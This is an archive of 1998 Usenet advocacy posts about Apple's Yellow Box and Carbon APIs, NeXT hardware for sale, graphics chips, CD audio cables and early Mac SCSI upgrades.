Message-ID: <6ri4nj$nql$1@hiram.io.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <35D864F5.8B4D58B9@inficad.com> <6ra2ld$3ag@fridge.shore.net> <jak-1808982337130001@dialup110.phnx.uswest.net>
NNTP-Posting-Date: 20 Aug 1998 21:33:39 GMT
User-Agent: tin/pre-1.4-980226 (UNIX) (FreeBSD/2.2.5-RELEASE (i386))
In comp.sys.mac.hardware.misc John Kestner <jak@asu.edu> wrote:
> In article <6ra2ld$3ag@fridge.shore.net>, "William Frisbee"
> <bfrisbee@fuckspam.webengine-db.com> wrote:
>>Billy is not even invovled in this conversation. Hell if Billy did not give
>>Jobs 150 million smackers a year or so ago, I wonder if Apple could spend
>>the 100 million on the ad campaign for the iMac or even be able to finish
>>developing it...
> You just had to throw out that bait, didn't you? The $150 million was a
> token gesture of support. "If MS believes enough in Apple to invest in
Besides, given the stock price, then and now, that $150 million investment
is worth about $500 million now. Maybe Steve showed Bill the
game plan and Bill wanted to augment his fortune a little bit more.
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 21 Aug 1998 14:24:33 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6rjvv1$6ur$1@lwnws01.ne.highway1.com>
References: <6rj2q7$cqc$1@nnrp1.dejanews.com> <B2026BDE-1FDB3@206.165.43.101>
"Lawson English" <english@primenet.com> wrote:
> Seems like they've rewritten the MacOS windowing manager to use QDe, no?
> And so, the new YB will make use of the same windowing manager (at least
> under X) and events will be handled in such a way that both YB and Carbon
> apps don't step on each other when handling events. THe details of this are
> no doubt being worked out as we speak and those that know for sure are
> under NDA, so my guess is just as good as yours.
DPS isn't part of YB proper. YB uses DPS, but DPS is a sepreate and
encapsulated entity. Carbon will be a similar thing. I don't believe I've
hear that it will be wrapped into YB as you had initially suggested. If it
is, I'd be very interested in hearing who said so, and when. I believe it
will be a seperate entity, but again, I may well be wrong on this.
--
Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: see-below@not-my-address.invalid (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: 3D chips
Date: Thu, 20 Aug 1998 20:46:39 -0700
Message-ID: <see-below-2008982046390001@dynamic13.pm03.mv.best.com>
References: <6ri2mt$3j6@newsb.netnews.att.com>
In article <6ri2mt$3j6@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Apple seems to have picked a safe choice for 3D graphics chips.
> [It is using 3D RagePro Turbo, isn't it ?]
>
> http://www.news.com/News/Item/0,4,25477,00.html
>
> ATI, S3 vie for 3D chip leadership
>
> "ATI's market share in overall desktop graphics chips has
> grown to 27 percent, a lead that mushrooms to 35 percent in
> 3D graphics shipments" [according to a report from Mercury Research]
>
> ...the top five graphics accelerator makers in the total market,
> desktop and portable, in the second quarter of 1998 are :
> ATI, S3, Cirrus Logic, Silicon Integrated Systems (SiS) and
> Trident Microsystems.
>
> ...PC vendors...are using the 3D RagePro in droves...
Yeah, Rage Pro is acceptable for current low-cost OEM graphics. It's
actually quite good in most games and 3D applicatoins, though it's
actually just about the slowest 3D currently on the market in a lot of
games (but still good enough to not really complain about). Unfortunately,
the one machine from Apple which will sell big in the home market and is
not upgradeable in terms of graphics (the iMac) does _not_ use Rage Pro,
it uses the previous generation Rage II which is 2-3x slower...oh well.
....................................................
MATTHEW VAUGHAN
matthewv@best.com
http://www.best.com/~matthewv/
....................................................
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
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References: <don.brown-1208980859310001@dsm-ia3-10.ix.netcom.com> <B1F72C46-4D386@206.165.43.141>
<joe.ragosta-1208981436470001@wil66.dol.net> <B1F737B2-78293@206.165.43.141>
<joe.ragosta-1208981526060001@wil62.dol.net> <brian_hall-1308981858030001@22.markspace.com>
<B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com>
<1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com>
<1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net>
Mime-Version: 1.0
Date: Fri, 21 Aug 1998 14:20:00 GMT
In <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> John Moreno
wrote:
> Carbon apps == yellow box apps. They both run in the same space, it's
> the api that's different.
No, that's not really true. Not at all in fact. YB _is_ the API, the
services below it and serving it are all internally owned as well. For
instance, is Carbon going to use the YB pasteboards servers? Color engine?
From what I've seen to date they'll be intersecting at the part generally
ascribed to kernel tasks - networking, drawing etc.
> Which is why, I used IB to mean == "the
> revised OpenStep API"
IB?
> little inaccurate as I expect that MW CW allows them to use the OpenStep
> API also.
I don't.
Maury
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 21 Aug 1998 14:29:38 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6rk08i$6ur$2@lwnws01.ne.highway1.com>
References: <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6riimr$3r8$1@lwnws01.ne.highway1.com> <6rj31o$css$1@nnrp1.dejanews.com>
quinlan@intergate.bc.ca wrote:
> In article <6riimr$3r8$1@lwnws01.ne.highway1.com>,
> jkheit@mediaone.net wrote:
>
> > There is much better in terms of smalltalk development. However,
> > you're alluding to Delphi, which I hear is nice, but is based
> > on pascal. Objective C has advantages there, IMO.
>
> What is the problem with using Pascal as a base language? Pascal
> allows some contructs that aren't available in C (sets, ranges,
> pass by reference, procedure nesting, with, etc.) and it's major
> deficiencies where mixed in Modula-2 (open ended arrays, unsigned
> types, better import/export, module initialization, etc.)
The main advantages to Objective C are it has an elegant OO layer,
but it also allows straight Ansi C to be used and thus porting all
kinds of C code becomes trivial. And C is just generally more
widely used. Also, C shows a lot of range in the form of Objective
C. As straight C it will compile and execute faster, and allow
more efficient low level type work, but as ObjC it let's you get
almost to the rhelm of smalltalk flexibility and functionality. I
don't see pascal as having as broad a range. Not that pascal is a
bad language per se.
--
Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Content-Type: text/plain; charset=us-ascii
Message-ID: <Ey1Mnw.Ly9@T-FCN.Net>
Sender: news@T-FCN.Net
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Cc: english@primenet.com
Organization: none
References: <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14>
Mime-Version: 1.0
Date: Fri, 21 Aug 1998 14:23:55 GMT
In <B2021373-186F9@206.165.43.14> "Lawson English" wrote:
> My understanding is that the Carbon API is a MacOS-like wrapper over the
> low-level services that the YellowBox itself uses.
Sigh. MY understanding is that you need to go out and do some reading on
how OS's work.
> This is a trojan horse, not because MS or Adobe will ever bother using YB,
> but because it makes it easier for YB to gain acceptance.
It does nothing of the sort.
> Ironically, it also makes YB Just Another Framework in the Mac world.
Just Another Mindbendingly Great Unbelievably Powerful framework, yes.
> There's no reason why alternate frameworks based on Carbon couldn't become
> more popular than YB although work would be needed to provide the same
> ease-of-programming that IB does.
*coff* You really do have no clue. IB does not provide the ease of use.
In fact, IB is rather crappy (but getting better slowly). It's the
frameworks that provide the ease of use.
> OTOH, some have suggested that there are already development environments
> on teh Wintel side that approach IB's ease-of-use, so...
Yeah? Can you name them? Didn't think so.
Maury
From: whitecd@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Next Cube,TurboColor slab and other stuff for sale
Date: Fri, 21 Aug 1998 03:27:19 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ripen$1h5$1@nnrp1.dejanews.com>
Next stuff for sale: Cube 16 megs of ram, 450 meg HD, 17 inch B/W monitor,
non-adb Color turbo slab, 64 megs, 850 HD, 20 inch Hitachi color monitor, ADB
PLI 2.88 floppy drive, Next B/W 400 DPI laser printer. LOTS OF BOOKS: NEXT
DEVELOPMENT TOOLS, Sound Music and Signal Processing Ref., and the Sound
Music and Signal Processing concepts book. Two books on OOP programming on
NEXTSTEP. That three book set that came with the Next (when it was new!) &
The Next Bible by Doug Clapp. Software: LOTUS Improv (I have 2 sets, one with
the books). NEXTSTEP 3.0, 3.2 USER, 3.3 USER AND 4.2 USER. MATHEMATICA 2.0
and 5 CD-ROMs from peanuts. OH yea, the Cube has an Optical that works. I am
asking $1500 or best offer. WILL NOT SHIP. LOOKING FOR SOMEONE WILLING TO
DRIVE TO THE BRONX (N.Y.C.) TO PICK THE STUFF UP. WILL NOT SELL IN PIECES.
Buyer must take everything!!!! Slab is MINT!!! Cube looks old but runs great.
Printer works well. Please e-mail whitecd@concentric.net NO SPA
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Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
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References: <don.brown-1208980859310001@dsm-ia3-10.ix.netcom.com> <B1F72C46-4D386@206.165.43.141>
<joe.ragosta-1208981436470001@wil66.dol.net> <B1F737B2-78293@206.165.43.141>
<joe.ragosta-1208981526060001@wil62.dol.net> <brian_hall-1308981858030001@22.markspace.com>
<B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com>
<1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com>
<1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> <6ril6a$sf4$1@nnrp1.dejanews.com>
<1de345u.1f49y0m1g47syaN@roxboro0-018.dyn.interpath.net>
Mime-Version: 1.0
Date: Fri, 21 Aug 1998 14:33:11 GMT
In <1de345u.1f49y0m1g47syaN@roxboro0-018.dyn.interpath.net> John Moreno
wrote:
> I didn't mean that they would behave in the same way but that from the
> user perspective that they are equivalent. A YB app, and a Carbon app,
> will both be full fledged citizens.
A statement that is utterly unlike your earlier position...
> > > Carbon apps == yellow box apps.
When even ONE program on the Carbon side approaches the power of the most
basic text _field_ under YB, maybe you'll have an argument - this includes
(among others) the ability for the field to save itself to disk in a variety
of formats, to display and edit unlimited lengths of text, to embed pictures,
to spell check in any language, to write in any language, to automatically
convert character sets, to provide complete typographic controls (kerning,
automatic ligatures etc.), to provide complete paragraph layout controls, to
allow for cutting and pasting of these styles, to provide rulers in the
window, and of course, complete services support which lets me do things like
run Perl scripts over selections in the window. Basically the out-of-the-box
text view providers more powerful text editing features than all of
Claris/AppleWorks.
Clearly you've never used or programmed under OpenStep, or you would not
have made this statement in the first place.
> The user isn't interested in the internal's.
> The important part from the user perspective is the
> protected memory, the multitasking, [oops, bad snip]
> the way virtual memory works (anything that takes advantage of temporary
> memory will have virtually unlimited memory available).
I thought you said they weren't interested in the internals?
I think what the user will be interested in is the seemless data transfer
between programs on the system, and the real ability to work with them on
other platforms. I think they'll also be interested in how powerful the most
basicl programs are.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 20 Aug 98 17:54:56 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2021373-186F9@206.165.43.14>
References: <6ricof$rpt$1@lwnws01.ne.highway1.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy
John Kheit <jkheit@mediaone.net> said:
>phenix@interpath.com (John Moreno) wrote:
>> Carbon apps == yellow box apps. They both run in the same space,
>
>My understanding of this may be way wrong, but what I understand is
>totally
>different than the above. Yes, they both will take the benefits of Mach,
>offer access to multitasking and protected memory spaces, but that's about
>it. YB is a relatively new and well thought out OO API/kit. Carbon is a
>carry over of a crappy api from an old crappy procedural environment.
>Carbon
>is kind of like preparing nice cots in a barren, hostile, and inhospitable
>area for refugees to sleep in before they immigrate and acclimatize to the
>land of milk and honey (YB).
>
>As always, I reserve my right to be 100% wrong.
My understanding is that the Carbon API is a MacOS-like wrapper over the
low-level services that the YellowBox itself uses.
This is a trojan horse, not because MS or Adobe will ever bother using YB,
but because it makes it easier for YB to gain acceptance.
Ironically, it also makes YB Just Another Framework in the Mac world.
There's no reason why alternate frameworks based on Carbon couldn't become
more popular than YB although work would be needed to provide the same
ease-of-programming that IB does.
OTOH, some have suggested that there are already development environments
on teh Wintel side that approach IB's ease-of-use, so...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jwill@pacbell.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green LEDs
Date: Fri, 21 Aug 1998 03:40:53 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6riq85$2ge$1@nnrp1.dejanews.com>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net> <uthant-1808981759220001@user-37kb5fb.dialup.mindspring.com> <enj-1808981701510001@kly12.slac.stanford.edu> <uthant-1808982144500001@user-38lcfud.dialup.mindspring.com> <enj-1908981623410001@kly12.slac.stanford.edu>
In article <enj-1908981623410001@kly12.slac.stanford.edu>,
enj@slac.stanford.edu (Erik Nyls Jongewaard) wrote:
> In article <uthant-1808982144500001@user-38lcfud.dialup.mindspring.com>,
> uthant@un.org (U Thant) wrote:
>
> > In article <enj-1808981701510001@kly12.slac.stanford.edu>,
> > enj@slac.stanford.edu (Erik Nyls Jongewaard) wrote:
> >
> > > In article <uthant-1808981759220001@user-37kb5fb.dialup.mindspring.com>,
> > > uthant@un.org (U Thant) wrote:
> > >
> > > > In article <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net>,
> > > > gmgraves@slip.net (George Graves) wrote:
> > > >
> > > > > > You'd have to look directly into it - lasers travel straight. You
> > > > > > can see the red dot of the laser beam on the lens, without
> > > > > > looking straight into the beam's path.
> ...
> The long wavelength limit of human vision is somewhere around 700 nm, maybe
> you have really good eyes? I know that I (and most humans BTW) perceive a
> tremendous brightness difference between equal optical power diodes operating
> at 670 and 635 nm indicating my eyes are "rolling off" in that range.
I think that's the reason: The visual pigment spectral absorbance
is nonzero out to -- who knows? So long as one can increase the light,
some photons will be absorbed and the light seen. I guess the limit
would be reached when the black pigment beyond the rods & cones absorbed
too much, heated up, and was damaged. It wouldn't be anywhere near
microwave frequencies. Maybe 1000 nm ("infrared")?
>
> BTW, my old Magnavox 650 has a green led that shines on the CD so you can see
> it spinning.
>
> -Erik
>
> --
> Erik Nyls Jongewaard
> Klystron and Microwave Department
> Stanford Linear Accelerator Center
>
> email: enj@slac.stanford.edu
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: jwill@pacbell.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green LEDs
Date: Fri, 21 Aug 1998 03:41:10 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6riq8l$2gf$1@nnrp1.dejanews.com>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net> <uthant-1808981759220001@user-37kb5fb.dialup.mindspring.com> <enj-1808981701510001@kly12.slac.stanford.edu> <uthant-1808982144500001@user-38lcfud.dialup.mindspring.com> <enj-1908981623410001@kly12.slac.stanford.edu>
In article <enj-1908981623410001@kly12.slac.stanford.edu>,
enj@slac.stanford.edu (Erik Nyls Jongewaard) wrote:
> In article <uthant-1808982144500001@user-38lcfud.dialup.mindspring.com>,
> uthant@un.org (U Thant) wrote:
>
> > In article <enj-1808981701510001@kly12.slac.stanford.edu>,
> > enj@slac.stanford.edu (Erik Nyls Jongewaard) wrote:
> >
> > > In article <uthant-1808981759220001@user-37kb5fb.dialup.mindspring.com>,
> > > uthant@un.org (U Thant) wrote:
> > >
> > > > In article <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net>,
> > > > gmgraves@slip.net (George Graves) wrote:
> > > >
> > > > > > You'd have to look directly into it - lasers travel straight. You
> > > > > > can see the red dot of the laser beam on the lens, without
> > > > > > looking straight into the beam's path.
> ...
> The long wavelength limit of human vision is somewhere around 700 nm, maybe
> you have really good eyes? I know that I (and most humans BTW) perceive a
> tremendous brightness difference between equal optical power diodes operating
> at 670 and 635 nm indicating my eyes are "rolling off" in that range.
I think that's the reason: The visual pigment spectral absorbance
is nonzero out to -- who knows? So long as one can increase the light,
some photons will be absorbed and the light seen. I guess the limit
would be reached when the black pigment beyond the rods & cones absorbed
too much, heated up, and was damaged. It wouldn't be anywhere near
microwave frequencies. Maybe 1000 nm ("infrared")?
>
> BTW, my old Magnavox 650 has a green led that shines on the CD so you can see
> it spinning.
>
> -Erik
>
> --
> Erik Nyls Jongewaard
> Klystron and Microwave Department
> Stanford Linear Accelerator Center
>
> email: enj@slac.stanford.edu
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Thu, 20 Aug 1998 18:41:23 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2008981841240001@sf-usr1-14-142.dialup.slip.net>
References: <nospam-1408980055000001@dhack1-124.cybernex.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net> <joe.ragosta-1708981315410001@0.0.0.0> <gmgraves-1808981139100001@sf-usr1-26-154.dialup.slip.net> <redgate-1908981057290001@aux163.tulsa.oklahoma.net> <gmgraves-1908981054010001@sf-usr1-40-168.dialup.slip.net> <rbarris-ya023280001908981125580001@206.82.216.1> <gmgraves-2008980950060001@sf-usr1-52-180.dialup.slip.net> <rbarris-ya023280002008981234510001@206.82.216.1>
In article <rbarris-ya023280002008981234510001@206.82.216.1>,
rbarris@quicksilver.com (Rob Barris) wrote:
> In article <gmgraves-2008980950060001@sf-usr1-52-180.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > In article <rbarris-ya023280001908981125580001@206.82.216.1>,
> > rbarris@quicksilver.com (Rob Barris) wrote:
> >
> > > Um, George, do you suspect that these bad cables tend to
> > >
> > > a. corrupt all bits with a random likelihood
> > > b. corrupt only bursts of bits
> > > c. only corrupt bits which correspond to the LSB's of each 16-bit word
> > > d. other
> > >
> > > ?
> > >
> > > Rob
> >
> > George Cardas of Cardas cables says that his research has shown that the
> > culprit is cable capacitance. It tends to integrate the bit pulses so that
> > their shoulders are rounded off (to a greater or lesser degree, depending
> > upon cable type). This makes edge (or transition) detection of the bit
> > stream more difficult for the circuitry to detect, raising the error rate
> > and making the error correction work harder. He says that the way Reed-
> > Solomon works, the corrected bits are approximations (best guesses) of
> > the misinterpreted data, and thus change the sound. He also says that
> > TOSLINK sounds bad because the photosensors used are cheap and have lots
> > of hangover. They blur the bitstream again making accurate detection of
> > the transistions more difficult. Whether or not he's right, I dunno. It
> > sounds reasonable, but then he is trying to sell his own brand of cables
> > which, of course, don't have these "problems".
>
> Just an 'a', 'b', or 'c' answer please. If what you say is true it
> should be easy to pick one of the above possibilities.
>
> Rob
Shit, I don't know.
George Graves
From: John Jensen <jjens@primenet.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: 21 Aug 1998 15:01:43 GMT
Organization: Frontier GlobalCenter Inc.
Message-ID: <6rk24n$q52$1@nnrp02.primenet.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu>
<35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <35D9EE6C.7032@ieighty.net> <6rcrqt$kjs$1@nnrp02.primenet.com> <6ri6hh$nql$2@hiram.io.com>
Organization: Primenet (602)416-7000
Distribution:
Jeff Walther <trag@dillinger.io.com> wrote:
: In comp.sys.mac.hardware.misc John Jensen <jjens@primenet.com> wrote:
: > You know, I remember hardware hackers adding SCSI to the Mac 128 and "fat
: > mac" 512 when Apple's position was that AppleTalk should be used for
: > external disks. I _beleive_ that Apple followed these independent hacks
: > with their own SCSI offering.
: You know, I may be mistaken about this, but I don't think that any of
: those SCSI upgrades existed until the Mac Plus was out. [...]
Does anybody still have their '85 Mac magazines? ;-)
: The code for the SCSI manager wasn't in the ROM until the Plus came
: out and I don't think those SCSI upgrades work without that code
: in the ROM. So the SCSI upgrades only worked on 512KE's not
: 512K's and wouldn't work on a 128K at all, unless the ROM had been
: upgraded.
I did a little SCSI driver writting. The basic driver for a scsi device
follows the original ('84) driver layout. The "SCSI Manager" was purely a
transport utility, that is it would send command blocks and collect data
blocks in return. Post-Plus scsi drivers used traps to the scsi
manager to do their data transport. Off hand, I think a fatter driver
in a Pre-Plus Mac could have done the data transport itself.
Remember, that the serial hard disks from people like tecmar were able to
work with the original ROMs. The problem is largely the same, with a
difference in low level data transport.
John
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Fri, 21 Aug 1998 11:12:29 -0400
Organization: phenix@interpath.com
Message-ID: <1de3xaz.pso58j1k849n9N@roxboro0-018.dyn.interpath.net>
References: <don.brown-1208980859310001@dsm-ia3-10.ix.netcom.com> <B1F72C46-4D386@206.165.43.141> <joe.ragosta-1208981436470001@wil66.dol.net> <B1F737B2-78293@206.165.43.141> <joe.ragosta-1208981526060001@wil62.dol.net> <brian_hall-1308981858030001@22.markspace.com> <B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com> <1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com> <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> <Ey1MHD.Ltv@T-FCN.Net>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
In comp.sys.next.advocacy Maury Markowitz wrote:
> John Moreno wrote:
> > Carbon apps == yellow box apps. They both run in the same space, it's
> > the api that's different.
>
> No, that's not really true. Not at all in fact. YB _is_ the API, the
> services below it and serving it are all internally owned as well. For
> instance, is Carbon going to use the YB pasteboards servers? Color engine?
> From what I've seen to date they'll be intersecting at the part generally
> ascribed to kernel tasks - networking, drawing etc.
>
> > Which is why, I used IB to mean == "the
> > revised OpenStep API"
>
> IB?
More commonly know as Yellow Box. As I've said elsewhere - the two
appear to the user as no different which is what I was referring to.
Users don't care how something was accomplished, just that it was.
> > little inaccurate as I expect that MW CW allows them to use the OpenStep
> > API also.
>
> I don't.
Really? I thought for sure it worked with the OpenStep API. Of course
that sentence is a badly worded, the "them" was "MW CW" meaning that you
could write a YB app using MW.
--
John Moreno
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: docks in OSX
Date: 21 Aug 1998 03:48:03 GMT
Organization: Digital Fix Development
Message-ID: <6riqlj$14n$1@news.digifix.com>
References: <alex-1908981239120001@castle.webis.net> <1998082002171700.WAA05274@ladder03.news.aol.com> <alex-2008980843070001@castle.webis.net> <6rhqbi$qjq$1@nnrp1.dejanews.com>
In-Reply-To: <6rhqbi$qjq$1@nnrp1.dejanews.com>
On 08/20/98, spagiola@my-dejanews.com wrote:
>alex@webis.net (Alex Kac) wrote:
>> Note, at this point, the "Application Switcher" as it is called, is
NOT a
>> dock. Its a process window that is extremely customizable. No
animation
>> occurs. You can't load it with apps. It only shows the currently
running
>> apps. However, its a beginning.
>
>I recall seeing an announcement that Fiend.app would be ported to Mac
OS X. So
>anyone who wants a dock will be able to get one.
>
Fiend is already running on Rhapsody DR2. It works pretty
good, still has a few missing features, but I no longer miss the Dock
on Mac OS X Server as a result of it being available.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Fri, 21 Aug 1998 11:31:54 -0400
Organization: phenix@interpath.com
Message-ID: <1de3z9s.1mg2ltk1osulo9N@roxboro0-018.dyn.interpath.net>
References: <don.brown-1208980859310001@dsm-ia3-10.ix.netcom.com> <B1F72C46-4D386@206.165.43.141> <joe.ragosta-1208981436470001@wil66.dol.net> <B1F737B2-78293@206.165.43.141> <joe.ragosta-1208981526060001@wil62.dol.net> <brian_hall-1308981858030001@22.markspace.com> <B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com> <1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com> <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> <6ril6a$sf4$1@nnrp1.dejanews.com> <1de345u.1f49y0m1g47syaN@roxboro0-018.dyn.interpath.net> <Ey1n3C.M7M@T-FCN.Net>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
In comp.sys.next.advocacy Maury Markowitz wrote:
> John Moreno wrote:
> > I didn't mean that they would behave in the same way but that from the
> > user perspective that they are equivalent. A YB app, and a Carbon app,
> > will both be full fledged citizens.
>
> A statement that is utterly unlike your earlier position...
My earlier position is a vast simplification.
> > > > Carbon apps == yellow box apps.
>
> When even ONE program on the Carbon side approaches the power of the
> most basic text _field_ under YB, maybe you'll have an argument - this
> includes (among others) the ability for the field to save itself to disk
> in a variety of formats, to display and edit unlimited lengths of text, to
> embed pictures, to spell check in any language, to write in any language,
> to automatically convert character sets, to provide complete typographic
> controls (kerning, automatic ligatures etc.), to provide complete
> paragraph layout controls, to allow for cutting and pasting of these
> styles, to provide rulers in the window, and of course, complete services
> support which lets me do things like run Perl scripts over selections in
> the window. Basically the out-of-the-box text view providers more
> powerful text editing features than all of Claris/AppleWorks.
Then yellow box apps shouldn't have any trouble running carbon apps out
of business. But in the meantime, from the user perspective, they seem
to be the same.
> Clearly you've never used or programmed under OpenStep, or you would not
> have made this statement in the first place.
Possibly so.
> > The user isn't interested in the internal's. The important part from the
> > user perspective is the protected memory, the multitasking, [oops, bad
> > snip] the way virtual memory works (anything that takes advantage of
> > temporary memory will have virtually unlimited memory available).
>
> I thought you said they weren't interested in the internals?
Not being told "sorry, you don't have enough memory to do that" isn't
internals. Hell, protected memory is internals too - the user isn't
interested in how it works, but the user wants to know that when program
A crashes that program A is at fault, and that it won't take down the
entire system. The user is interested in the effects of these things.
> I think what the user will be interested in is the seemless data
> transfer between programs on the system, and the real ability to work with
> them on other platforms. I think they'll also be interested in how
> powerful the most basicl programs are.
